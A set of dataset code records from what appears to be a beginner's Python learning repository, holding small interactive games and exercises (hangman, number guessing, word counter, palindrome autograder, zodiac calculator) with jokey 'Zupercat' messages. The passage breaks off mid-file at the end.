"text": "for i in range(0,50,1):\n\tprint(\" \")\nprint(\"Hi!\")\nprint(\" \")\nuser_word = input(\"Word Please: \")\nprint(\" \")\nresult = \"\"\nfor i in range(len(user_word)):\n\tif user_word[i].isupper() == True:\n\t\tresult += user_word[i].lower()\n\telif user_word[i].islower() == True:\n\t\tresult += user_word[i].upper()\n\telse:\n\t\tresult += user_word[i]\n\nprint(result)"
},
{
"alpha_fraction": 0.49335718154907227,
"alphanum_fraction": 0.4956566095352173,
"avg_line_length": 51.89189147949219,
"blob_id": "92aaca456546b35660f58dfa13866afe9d1fdb94",
"content_id": "e0666f9d8e757e9b57f17cfba6423e99dc391288",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3914,
"license_type": "no_license",
"max_line_length": 200,
"num_lines": 74,
"path": "/Week2/Day4/Signup_Page.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "for i in range(1,101,1):\n\tprint(\" \")\nprint(\"Sign up to Zupercat.Co.Ltd's Fabrik Page\")\nprint(\" \")\ndictionary = {}\nname = input(\"Tell me your name or else Zupercat will take all your sandwiches that you will eat in your life --> \")\nprint(\" \")\nemail = input(\"Hello \" + name + \"! Now, tell me your E-mail or you will be thrown in the worst dungeons of Zupercat (Earth's Core)--> \")\nprint(\" \")\nlive = input(\"Lastly, tell me where you live, so we could attack you with glitter and boredom whenever we want. If you don't tell me, then you will suffer from Zupercat taking your lunch --> \")\nprint(\" \")\nprint(\"Thanks for the information! Zupercat is happy that you obeyed. She now asks you which information you want to see...\")\nprint(\" \")\ndictionary = {\"Name\":name,\"Email\":email,\"Live\":live}\nprint(\"(Name,Email, Live or change email (press space and then enter to stop))\")\nshow_info = input(\"\")\nprint(\" \")\nchance = 0\nwhile True:\n\tshow_info = show_info.lower()\n\tshow_info = show_info.split()\n\tshow_info = ''.join(show_info)\n\tif show_info == \"name\":\n\t\tprint(\"Zupercat searches the data files... Your name is \" + name + \".\")\n\t\tprint(\" \")\n\t\tprint(\"---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\")\n\t\tprint(\"(Name,Email or Live (press space and then enter to stop))\")\n\t\tshow_info = input(\"\")\n\t\tprint(\" \")\n\t\tshow_info = show_info.lower()\n\telif show_info == \"email\":\n\t\tprint(\"Zupercat looks on her Zuper-computer's Zuper-files for Zuper-info on your E-mail... Your E-mail is \" + email + \".\")\n\t\tprint(\" \")\n\t\tprint(\"---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\")\n\t\tprint(\"(Name,Email or Live (press space and then enter to stop))\")\n\t\tshow_info = input(\"\")\n\t\tprint(\" \")\n\t\tshow_info = show_info.lower()\n\telif show_info == \"live\":\n\t\tprint(\"Zupercat looks at her Attack files and finds your location files inside... You live in \" + live + \".\")\n\t\tprint(\" \")\n\t\tprint(\"---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\")\n\t\tprint(\"(Name,Email or Live (press space and then enter to stop))\")\n\t\tshow_info = input(\"\")\n\t\tprint(\" \")\n\t\tshow_info = show_info.lower()\n\telif show_info == \"changeemail\":\n\t\tprint(\"Zupercat looks at your E-mail... Your E-mail is currently this: \" + email)\n\t\tprint(\" \")\n\t\tprint(\"Please enter your new E-mail: \")\n\t\temail = input(\"\")\n\t\tprint(\" \")\n\t\tprint(\"Your E-mail has been changed.\")\n\t\tprint(\"---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\")\n\t\tprint(\"(Name,Email or Live (press space and then enter to stop))\")\n\t\tshow_info = input(\"\")\n\t\tprint(\" \")\n\t\tshow_info = show_info.lower()\n\telif show_info == \"\":\n\t\tprint(\"Thanks for using Fabrik by Zupercat.Co.Ltd. See you next time.\")\n\t\tbreak\n\telif (show_info != \"name\" or show_info != \"email\" or show_info != \"live\") and chance == 0 and show_info != \"\":\n\t\tprint(\"I'm afraid Zupercat cannot show that. She hisses angrily and says if you do it again, she will come attack you.\")\n\t\tprint(\" \")\n\t\tprint(\"---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\")\n\t\tprint(\"(Name,Email or Live (press space and then enter to stop))\")\n\t\tshow_info = input(\"\")\n\t\tprint(\" \")\n\t\tshow_info = show_info.lower()\n\t\tchance += 1\n\telif chance >= 1 and show_info != \"\":\n\t\tprint(\" \")\n\t\tprint('Zupercat says: \"Uggghhhh!\" and she scratched you. You are now banned from this website.')\n\t\tbreak\n"
},
{
"alpha_fraction": 0.6045976877212524,
"alphanum_fraction": 0.6206896305084229,
"avg_line_length": 21.947368621826172,
"blob_id": "b9debc134f5df2a697f49d9f2b9b2f4e3d01cbad",
"content_id": "f096eafcb69f22eba8e50c9d70281c95a88e88db",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 435,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 19,
"path": "/Week2/Day4/Word_Counter.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "import string\nfor i in range(1,101,1):\n\tprint(\" \")\nprint(\"Hi\")\nprint(\" \")\nd = input(\"Write your essay, dude: \")\nd = d.lower()\nd_exclude = set(string.punctuation)\nd = ''.join(ch for ch in d if ch not in d_exclude)\nd_split = d.split()\nfreq = {}\nfor i in range(len(d_split)):\n\tword = d_split[i]\n\tif word not in freq:\n\t\tfreq[word] = 0\n\tfreq[word] += 1\nprint(\"Here's yo word count: \")\nfor word in freq:\n\tprint(word + \": \" + str(freq[word]))"
},
{
"alpha_fraction": 0.6891891956329346,
"alphanum_fraction": 0.6891891956329346,
"avg_line_length": 51.29411697387695,
"blob_id": "89896f73b1147d4edaa456c3ccf7ab3f98d6f32e",
"content_id": "13c845bdf4fd0134dc131d4e976ed1206a0a466b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 888,
"license_type": "no_license",
"max_line_length": 131,
"num_lines": 17,
"path": "/Week1/Day4/Tourist.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "print(\"Hello and welcome to the ultimate tourist sentence generator (beta-mode)!\") \nprint(\"Please read everything carefully...\")\nresult = \"\"\ncity = input(\"The infamous Zupercat wants you to enter a city name: \")\ncountry = input(\"Now, the super Zupercat orders you to enter the the name of the coutry that contains the city you just entered: \")\nattract = input(\"Enter an attraction (press the 'spacebar' and press 'enter' when you have finished): \")\nif attract == \" \":\n\tprint (\"Welcome to\",city + \",\",country + \". There are many attractions but you didn't give me any...so...yeah.\")\nelse:\n\tresult += attract\n\twhile True:\n\t\tattract = input(\"Enter an attraction (press the 'spacebar' and press 'enter' when you have finished): \")\n\t\tif attract == \" \":\n\t\t\tbreak\n\t\tresult += \", \" + attract\n\n\tprint (\"Welcome to\",city + \",\",country + \". There are many attractions here, such as \" + result + \".\")"
},
{
"alpha_fraction": 0.6014277338981628,
"alphanum_fraction": 0.6281974911689758,
"avg_line_length": 24.08955192565918,
"blob_id": "16e74f28db9a411b8f344868c4f99de772f7c9de",
"content_id": "608e119091c2124f268fffcbcb1f792220b2608d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1681,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 67,
"path": "/Week2/Day3/Hangman.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "#imports#\nimport time\n#title#\nfor i in range (1,51,1):\n\tprint(\" \")\ntime.sleep(1)\nprint(\"Hello and welcome to Hangman of Doom by Zupercat.Co.Ltd!!!\")\nprint(\" \")\n#player 1 input#\np1_input = input(\"Player 1, please enter a word (don't let Player 2 see): \")\nfor i in range (1,1001,1):\n\tprint(\" \")\n#variables#\nchance = 5\nletters_remain = \"abcdefghijklmnopqrstuvwxyz\"\nword = \"_ \"*len(p1_input)\np2_input = \"\"\np2_guess = \"\"\nword_no_space = \"\"\ni = 6\n#code#\nwhile True:\n\ti -= 1\n\tcorrect_test = 0\n#check if guess is correct#\n\tif chance > 0:\t\n\t\tprint(\" \")\n\t\tword = \"\"\n\n\t\tif p2_input in p1_input:\n\t\t\tcorrect_test += 1\n\n\t\tfor j in range(len(p1_input)):\n\t\t\tif p1_input[j] in p2_guess:\n\t\t\t\tword += p1_input[j] + \" \"\n\t\t\telse:\n\t\t\t\tword += \"_ \"\n\t\tprint(\"Word: \" + word)\n#letters that you have already enterec#\n\t\tif i < 5:\n\t\t\tletters_remain = letters_remain.replace(p2_input,\"-\")\n\t\tprint(\"Letters remaining: \" + letters_remain)\n#check if guess is correct part 2#\n\t\tif correct_test <= 0:\n\t\t\tchance -= 1\n#checking how many chances are left#\n\t\t\tprint(\"Chances left: \" + str(chance))\n\t\telif correct_test > 0:\n\t\t\tprint(\"Chances left: \" + str(chance))\n\t\tword_no_space = ''.join(e for e in word if e.isalnum())\n#win situation#\n\t\tif word_no_space == p1_input:\n\t\t\tprint(\" \")\n\t\t\tprint(\"Above are your statistics :)\")\n\t\t\tprint(\" \")\n\t\t\tprint(\"You're correct! The answer is \" + p1_input + \"! Zupercat is bouyant with joy!\")\n\t\t\tbreak\n#guess a letter#\n\t\twhile True:\n\t\t\tp2_input = input(\"Guess a letter: \")\n\t\t\tif len(p2_input) == 1:\n\t\t\t\tbreak\n#lose situation#\n\t\tp2_guess += p2_input\n\t\tif chance == 0:\n\t\t\tprint(\"You're wrong! The word is \" + p1_input + \"! Zupercat laughs boisterously at you for losing!\")\n\t\t\tbreak\n"
},
{
"alpha_fraction": 0.6203007698059082,
"alphanum_fraction": 0.6428571343421936,
"avg_line_length": 42.83333206176758,
"blob_id": "6645f4906a2c471308de9087a5d4098f5d5c3496",
"content_id": "05ff3ee54b2fa4961a411e6b1502300b2909b375",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 268,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 6,
"path": "/Week1/Day2/Pythagoras.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "print(\"Welcome to Pythagora's Thereom Calculator!!!(Perfect for Homework :D)\")\na_number = input(\"please enter a number(a): \")\nb_number = input(\"please enter another number(b): \")\nsum_c = int(a_number)**2 + int(b_number)**2\nc = sum_c**(1/2)\nprint(\"a² + b² = \",c,)\n\n\n\n"
},
{
"alpha_fraction": 0.5927602052688599,
"alphanum_fraction": 0.6153846383094788,
"avg_line_length": 15.923076629638672,
"blob_id": "f848bf66713eb821b3c8d28014051b899fb46ed5",
"content_id": "7b5b49a4ece2250f2ed27de4d6df1f45bfbe0c9a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 221,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 13,
"path": "/Week1/Day4/GCI_Python_Task1.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "#title\nprint(\"GCI Task 1 (Beginners)\")\n#false_number_check\nwhile True:\n\ta = input(\"Type a number: \")\n\tif a.isdigit():\n\t\tbreak\n#answer\na = int(a)\nr = 1\nfor c in range(1,a+1,1):\n\tr = r*c\nprint(\"Your Answer is: \" + str(r))\n\n"
},
{
"alpha_fraction": 0.6410998702049255,
"alphanum_fraction": 0.6519536972045898,
"avg_line_length": 36.378379821777344,
"blob_id": "bc42871c01a37ea94ef8c552aadf25fbab79a73b",
"content_id": "a736529084ae46daa4538492f28d440f17cddb7c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1382,
"license_type": "no_license",
"max_line_length": 146,
"num_lines": 37,
"path": "/Week2/Day3/Teacher_helper.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "import math\n\nresult = \"\"\ndictionary = {}\nall_keys = \"\"\nbest_score = 0\nworst_score = math.inf\nbest_score_name = \"\"\nworst_score_name = \"\"\na = []\nfor i in range (1,51,1):\n\tprint(\" \")\nprint(\"Welcome to 'Let Zupercat humiliate you haha' by Zupercat.Co.Ltd\")\nwhile True:\n\tuser_answer = input(\"Enter your name and your score with a comma between them (press the 'spacebar' and press 'enter' when you have finished): \")\n\tif user_answer == \" \":\n\t\tbreak\n\ttemp_user_answer_list = user_answer.split(\",\")\n\tif int(temp_user_answer_list[1]) > best_score:\n\t\tbest_score = int(temp_user_answer_list[1])\n\tif int(temp_user_answer_list[1]) < worst_score:\n\t\tworst_score = int(temp_user_answer_list[1])\n\tuser_answer_list = user_answer.split(\",\")\n\tdictionary[user_answer_list[0]] = user_answer_list[1]\nfor key in dictionary:\n\tall_keys += key + \", \"\n\tif int(dictionary[key]) == best_score:\n\t\tbest_score_name += key + \", \"\n\tif int(dictionary[key]) == worst_score:\n\t\tworst_score_name += key + \", \"\n\ta.append(int(dictionary[key]))\ndictionary_length = len(dictionary)\nprint(str(dictionary_length) + \" student(s) completed the test: \" + all_keys[:-2] + \".\")\nprint(\"High score of: \" + str(best_score) + \", by \" + best_score_name[:-2] + \".\")\nprint(\"Low score of: \" + str(worst_score) + \", by \" + worst_score_name[:-2] + \".\")\navg = sum(a)/int(dictionary_length)\nprint(\"Average score of: \" + str(round(avg,2)) + \".\")"
},
{
"alpha_fraction": 0.6806020140647888,
"alphanum_fraction": 0.7079152464866638,
"avg_line_length": 32.21296310424805,
"blob_id": "2c9c55dd8d9f58cc1b7eaf1a7e7f043d440782cf",
"content_id": "bbc428e8da2d45c9621c1e691f4c44ca49e1e0c5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3588,
"license_type": "no_license",
"max_line_length": 276,
"num_lines": 108,
"path": "/Week1/Day5/Guess_number.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "#imports#\nimport random\nimport time\n\n#title#\nprint(\" \")\nprint(\"Welcome to Ultra Hard Mode of Guess My Number! You are the lucky one chosen by The Almighty Zupercat. Please guess a number from (1-10) to (11-20)! You have five chances to guess this right, or else you will be thrown into Zupercat's Dungeon of Boredom and Chattering\")\nprint(\" \")\nprint(\"Now it's time to...... GUESS MY NUMBER!\")\nprint(\" \")\nprint(\" \")\n#code#\nchance_holder = 0\ncorrect_answer_1 = 0\ncorrect_answer_2 = 0\ncorrect_answer_1 = random.randint(1,10)\ncorrect_answer_2 = random.randint(11,20)\ncorrect_answer = random.randint(correct_answer_1,correct_answer_2)\n\nfor chance_holder in range(1,6,1):\n\tuser_number = 0\n\twhile True:\n\t\tuser_number = input(\"please enter a guess: \")\n\t\tif user_number.isdigit():\n\t\t\tbreak\n\tuser_number = int(user_number)\n\tif user_number == correct_answer:\n\t\tprint(\"You're correct! Zupercat congratulates you with...... Her 'gratitude'!\")\n\t\tbreak\n\telif user_number == 1234567890:\n\t\tprint(\"You have entered Zupercat's password for her dungeon.\")\n\t\ttime.sleep(2)\n\t\tprint(\"You may enter without charges.\")\n\t\ttime.sleep(2)\n\t\tprint(\":D\")\n\t\ttime.sleep(2)\n\t\tbreak\n\telif user_number == random.randint(61,68):\n\t\tprint(\"You have entered the ever-changing password for Zupercat's Super-secret, Super-secure, No-chance-of-escaping Solitary Dungeons of Boredom and Death.\")\n\t\ttime.sleep(2)\n\t\tprint(\"Entering it is free and compulsory for you...\")\n\t\ttime.sleep(2)\n\t\tbreak\n\telif user_number == 6060:\n\t\tprint(\"These are the coordinates for Zupercat's death pit.\")\n\t\ttime.sleep(2)\n\t\tprint(\"You have been teleported there automatically.\")\n\t\ttime.sleep(2)\n\t\tprint(\"You lost because you died.\")\n\t\ttime.sleep(2)\n\t\tbreak\n\telif user_number == 57:\n\t\tprint(\":D Zupercat says nothing even though you entered Zupercat's favourite numbers.\")\n\t\tbreak\n\telif user_number == 1053:\n\t\tprint(\":D Zupercat says you lose for no apparent reason.\")\n\t\tbreak\n\telif user_number == 306:\n\t\tprint(\"These are interesting coordinates. You have been teleported there automatically.\")\n\t\ttime.sleep(2)\n\t\tprint(\"It's for the Sun.\")\n\t\ttime.sleep(2)\n\t\tprint(\"You lost because you died.\")\n\t\ttime.sleep(2)\n\t\tbreak\n\telif user_number == 123:\n\t\tprint(\"You have lost a chance.\")\n\t\ttime.sleep(2)\n\t\tprint(\"Zupercat laughs triumphantly.\")\n\t\ttime.sleep(2)\n\t\tprint(\"lolz.\")\n\t\ttime.sleep(2)\n\t\tbreak\n\telif user_number == 911:\n\t\tprint(\"You have called the Zupercat police station.\")\n\t\ttime.sleep(2)\n\t\tprint('Zupercat replies with \":D\".')\n\t\ttime.sleep(2)\n\t\tprint(\"You have been arrested under Zupercat's Zuper orders.\")\n\t\ttime.sleep(2)\n\t\tbreak\n\telif user_number == 110:\n\t\tprint(\"You have called the Zupercat grammar police station.\")\n\t\ttime.sleep(2)\n\t\tprint('You said: \"Hllo\"')\n\t\ttime.sleep(2)\n\t\tprint('Zupercat replies with \":D\".')\n\t\ttime.sleep(2)\n\t\tprint(\"You have been arrested under Zupercat's grammar orders.\")\n\t\ttime.sleep(2)\n\t\tbreak\n\telif user_number == random.randint(25,50):\n\t\tprint(\"You have entered a number from 25 to 50.\")\n\t\ttime.sleep(2)\n\t\tprint('Zupercat replies with \"...\".')\n\t\ttime.sleep(2)\n\t\tprint(\"Nothing happens.\")\n\t\ttime.sleep(2)\n\t\tbreak\n\telif chance_holder == 5:\n\t\tprint(\"You're wrong! The answer is\",str(correct_answer) + \". Zupercat laughs at you for losing!\")\n\t\tbreak\n\telif user_number > correct_answer_2:\n\t\tprint(\"Hmmm, that number is invalid because it's bigger than the biggest number possible. Zupecat laughs obnoxiously.\")\n\telif user_number < correct_answer_1:\n\t\tprint(\"Hmmm, that number is invalid because it's smaller than the smallest number possible. Zupecat laughs obnoxiously.\")\n\telse:\n\t\tprint(\"Nope! Zupercat smirks at you.\")\n\n"
},
{
"alpha_fraction": 0.694618284702301,
"alphanum_fraction": 0.7008761167526245,
"avg_line_length": 41,
"blob_id": "f9b77bbe258a33d8d1f97c0fbc04001c87c35142",
"content_id": "74ce3f388a583723f4cbdfce043793be391f1a7f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 799,
"license_type": "no_license",
"max_line_length": 158,
"num_lines": 19,
"path": "/Week1/Day3/Location.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "n=0\nprint(\"Welcome to Your World's Location Virtual Simulator\")\n\nwhile n == 0:\n\ta = input(\"Where do you want to go? (School, Mall or Gym) \")\n\tif a == \"School\":\n\t\tprint(\"Ok, don't forget to bring homework for school and avoid Mr. Riches or Zupercat will make your detention worse than you could ever imagine!\")\n\t\tn = 1\n\t\tbreak\n\telif a == \"Mall\":\n\t\tprint(\"Sure, but don't forget your Mom/Dad's credit card! You can ask Zupercat for a credit card if you really need it bur she will make you pay her back!\")\n\t\tn = 1\n\t\tbreak\n\telif a == \"Gym\":\n\t\tprint(\"Aha, don't forget your shoes, water and shorts, or else Zupercat will punish you with eternal glitter, boredom and chattering!\")\n\t\tn = 1\n\t\tbreak\n\telse:\n\t\tprint(\"The Zupercat will only allow you to go to the Mall, School or Gym. Please choose again.\")\n\n"
},
{
"alpha_fraction": 0.5719900131225586,
"alphanum_fraction": 0.5759199857711792,
"avg_line_length": 37.342464447021484,
"blob_id": "e485382e442f7f7a8adedeb2d178a8217e54d7bd",
"content_id": "19c8a25642a538f3a9f7b6da8440ae96104bc92b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2799,
"license_type": "no_license",
"max_line_length": 146,
"num_lines": 73,
"path": "/Week2/Day2/palindromes.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "import argparse as ap\nimport os\n\ndef is_palindrome(word):\n word = ''.join(e for e in word if e.isalnum())\n word = word.lower()\n word_len = len(word)\n word_len_divided = word_len/2\n word_len_divided = int(word_len_divided)\n for i in range(word_len_divided):\n if word[i] != word[word_len - i - 1]:\n return False\n return True\n\nscore_file = \"./\" + os.path.splitext(__file__)[0]+ \"_score.txt\"\n\ndef get_test_data():\n test_data = {\"level\": True, \"poop\": True, \"canal\": False,\"firetruck\":False,\"avvaa\":False, \"aavva\":False, \"A man a plan a canal, Panama!\":True}\n return test_data\n\ndef write_result_file(resultstr, num_error, num_test):\n score = int(round((float(num_test - num_error)/num_test)*100))\n #with open(score_file,'w') as f:\n print(resultstr + \"\\n\\n\")\n print(\"Score: \" + str(num_test - num_error) + \" out of \" + \\\n str(num_test) + \" = \" + str(score) + \"%\\n\\n\")\n print(\"*************Original submission*************\")\n #print (\"Scores written to \" + score_file)\n\ndef grade():\n # First evaluate tests and store results.\n test_data = get_test_data()\n error_list = []\n correct_list = []\n num_test = 0\n\n for i, test_case in enumerate(test_data.keys()):\n num_test += 1\n student_result = is_palindrome(test_case)\n correct_result = test_data[test_case]\n if (correct_result != student_result):\n error_list.append((i,student_result,correct_result))\n else:\n correct_list.append((i,student_result))\n # Now report results.\n resultstr = \"\"\n if (len(error_list)==0):\n resultstr = 'Summary: All tests passed.'\n else:\n failure_spelling = ' failure' + ('s ' if len(error_list) > 1 else ' ')\n resultstr = 'Summary: Student output has ' + \\\n str(len(error_list)) + failure_spelling + \\\n 'in ' + str(num_test) + ' tests.\\n\\nDetailed report:\\n'\n for test_num,s_result,c_result in error_list:\n resultstr += '\\nTest ' + str(test_num) + ' failed:\\n Student had:\\t' + \\\n str(s_result) + '\\n Should have:\\t' + str(c_result)\n for test_num,c_result in correct_list:\n resultstr += '\\nTest ' + str(test_num) + ' succeeded:\\n Result is:\\t' + \\\n str(c_result) + '\\n'\n\n write_result_file(resultstr, len(error_list), num_test)\n\nif __name__ == '__main__':\n # Get the input arguments\n parser = ap.ArgumentParser(description=\"in_place_autograder\")\n parser.add_argument('-g','--grade',dest='grader_mode', action='store_true',\n help='Indicates if the users wants the grader mode.')\n\n args, leftovers = parser.parse_known_args()\n if args.grader_mode:\n grade()\n else:\n print(str(is_palindrome(leftovers[0])))\n"
},
{
"alpha_fraction": 0.7097902297973633,
"alphanum_fraction": 0.7174825072288513,
"avg_line_length": 31.5,
"blob_id": "76cfc99eabb5861379e2eb07f725133d4f2a9496",
"content_id": "9fce6a5c2291b04fb3125e8ae3926e188183348c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1430,
"license_type": "no_license",
"max_line_length": 227,
"num_lines": 44,
"path": "/Week1/Day5/Holy_square.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "#import#\nimport time\n#title#\nprint(\" \")\nprint(\"Calculation of the Holy Square of Zupercat\")\nprint(\" \")\n#definitions#\ndef loading_vertical():\n\ttime.sleep(1)\n\tprint(\".\")\n\ttime.sleep(1)\n\tprint(\".\")\n\ttime.sleep(1)\n\tprint(\".\")\n\ttime.sleep(2)\n\tprint(\"Done\")\n\ttime.sleep(2)\n\tprint(\" \")\ndef get_number_from_user(input_from_user):\n\ta = 0\n\twhile True:\n\t\ta = input(input_from_user)\n\t\tif a.isdigit():\n\t\t\tbreak\n\treturn a\ndef pythagoras_calculation_third_side(a,b):\n\tsum_c = int(a)**2 + int(b)**2\n\tthird_side = sum_c**(1/2)\n\treturn third_side\ndef square_calculation(third_side):\n\tsquare = third_side * third_side\n\treturn square\ndef print_holy_square(a,b,third_side,holy_square):\n\tprint(\"From the Magical Triangle of Doom with sides\",str(first_num),\"and\",str(second_num) + \", there lies the Holy Square of Zupercat with equal sides of\",str(third_side_var),\"and an area of\",str(square_calculation_var) + \".\")\n#Code#\nfirst_num = get_number_from_user(\"Type a number for the first side of the Magical Trangle of Doom: \")\nsecond_num = get_number_from_user(\"Type a number for the second side of the Magical Trangle of Doom: \")\nthird_side_var = pythagoras_calculation_third_side(first_num,second_num)\nsquare_calculation_var = square_calculation(third_side_var)\nprint(\" \")\ntime.sleep(2)\nprint(\"Calculating the Magic Kingdom of the Triangle and Square...\")\nloading_vertical()\nprint_holy_square(first_num,second_num,third_side_var,square_calculation_var)\n"
},
{
"alpha_fraction": 0.6304348111152649,
"alphanum_fraction": 0.6459627151489258,
"avg_line_length": 28.272727966308594,
"blob_id": "b90e3d9912fed74eab9adfd48301abf9b6186a42",
"content_id": "d91a0fc6701ea57ca7a41c627b21a6b144ef7aa5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 322,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 11,
"path": "/Week1/Day2/Mr Ms and Mrs.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "print(\"Proper name remover :)\")\nname_lol = input(\"What's Your Name? (please put Mr. ,Ms. ,Dr. or Mrs. )(With space after them)\")\nproper_name = name_lol[0:4]\nname = name_lol[4:]\n\nif proper_name == \"Mrs. \":\n\tproper_name = name_lol[0:5];\n\tprint(\"Your improper name is\" + name)\n\nelse:\n\tprint(\"Your improper name is \" + name);\n"
},
{
"alpha_fraction": 0.6984127163887024,
"alphanum_fraction": 0.701298713684082,
"avg_line_length": 62.09090805053711,
"blob_id": "6d80f2890011adfa723e1b245c8a45ec5d8e64cd",
"content_id": "9ca38bc3d85f0372db020565b501c514c42374cf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 693,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 11,
"path": "/Week1/Day2/Concert.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "print(\"Hi, my goal is to not let you go to the Music Concert called The Show of a Century.\")\nname=input(\"What's your name? \")\nmoney=input(\"Ok, I don't care but how much money do you have?(Please input a number) $\")\nwill_rain=input(\"Will it rain tonight?(Yes or No) \")\nben_going=input(\"Is your friend Boris The Animal going?(Yes or No) \")\njon_going=input(\"Is Your friend John Snow going?(Yes or No) \")\nfriend_going= ben_going == \"Yes\" or jon_going == \"Yes\"\nif int(money) > 50 and will_rain == \"No\" and friend_going:\n\tprint(\"Yes you can go to the Concert but don't be too happy because weather can always change...\");\nelse:\n\tprint(\"Aha! No, you cannot and will never go to the Concert. Muahahahahahahaaa!!!\")"
},
{
"alpha_fraction": 0.6770186424255371,
"alphanum_fraction": 0.6863353848457336,
"avg_line_length": 79.375,
"blob_id": "ff2ca686a3af2e620bb16ad9cfa0c9cb57c7960e",
"content_id": "c305c24972c5de88d03a6dbb13bda2c474c7edac",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 644,
"license_type": "no_license",
"max_line_length": 251,
"num_lines": 8,
"path": "/Week1/Day1/Hello.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "name = input(\"WhAt iS yOuR NAmE, brUh? \")\nage_with_quotes = input(\"oK....hOw oLD ArE yOu(NUMBERS PLEASE)? \")\nschool = input(\"Mmmm HmMMmm...wHeRE dO YOu go tO ScHOoL oR wHicH SchOOl HAvE yOU bEeN tO? \")\nbirthplace = input(\"HmMmMMmmm...WHeRe WEre YoU BoRN? \")\nolder_age = int(age_with_quotes) + 10\nprint(\"OK, I kNOw whO yOu aRE! YOu aRe...... WAiT fOr It....\")\nprint(\"DrUMrOlL..............\")\nprint(\"YoU ARe \",name,\" aNd YOu ArE CuRReNtLY\",age_with_quotes,\"YeARs oLD. In 2029, YoU WiLL bE\",older_age,\". YoU ArE bORn In\",birthplace,\". yOU hAVe LeaRNed oR YoU ArE LeaRNinG iN\",school,\". HaHAhHAhAhAHHAhAhAahHAHAhAhHAAaaA i nAIleD YoUR IdeNtiTy!\")\n\n"
},
{
"alpha_fraction": 0.6338919997215271,
"alphanum_fraction": 0.6621974110603333,
"avg_line_length": 25.860000610351562,
"blob_id": "2a3d9438b87281fcecb34e5137d6d83ad30a6886",
"content_id": "50102364f1dd4ea4f1c86d9e25c3c661a4f02d02",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2685,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 100,
"path": "/Week2/Day1/Zodiac_Calculator.py",
"repo_name": "SamuraiNights/SamuraiNights.Sublime",
"src_encoding": "UTF-8",
"text": "#imports#\nimport time\nfrom PIL import Image\n#definitions -->#\n#zodiac calculating#\ndef calculate_zodiac(birth_year):\n\tyear_of_zodiac = int(birth_year) % 12\n\tif year_of_zodiac == 1:\n\t\ta = \"Rickety Rooster\"\n\telif year_of_zodiac == 2:\n\t\ta = \"Dreamy Dog\"\n\telif year_of_zodiac == 3:\n\t\ta = \"Pirate Pig\"\n\telif year_of_zodiac == 4:\n\t\ta = \"Rambunctious Rat\"\n\telif year_of_zodiac == 5:\n\t\ta = \"Outstanding Ox\"\n\telif year_of_zodiac == 6:\n\t\ta = \"Terrific Tiger\"\n\telif year_of_zodiac == 7:\n\t\ta = \"Rackety Rabbit\"\n\telif year_of_zodiac == 8:\n\t\ta = \"Dreadful Dragon\"\n\telif year_of_zodiac == 9:\n\t\ta = \"Sentient Snake\"\n\telif year_of_zodiac == 10:\n\t\ta = \"Holly Horse\"\n\telif year_of_zodiac == 11:\n\t\ta = \"Galvanising Goat\"\n\telse:\n\t\ta = \"Marvelous Monkey\"\n\treturn str(a)\n#photo#\ndef open_photo(year_of_zodiac):\n\tif year_of_zodiac == \"Rickety Rooster\":\n\t\tim = Image.open(\"Zodiac_Photos/10Rooster.jpg\")\n\t\tim.rotate(360).show()\n\telif year_of_zodiac == \"Dreamy Dog\":\n\t\tim = 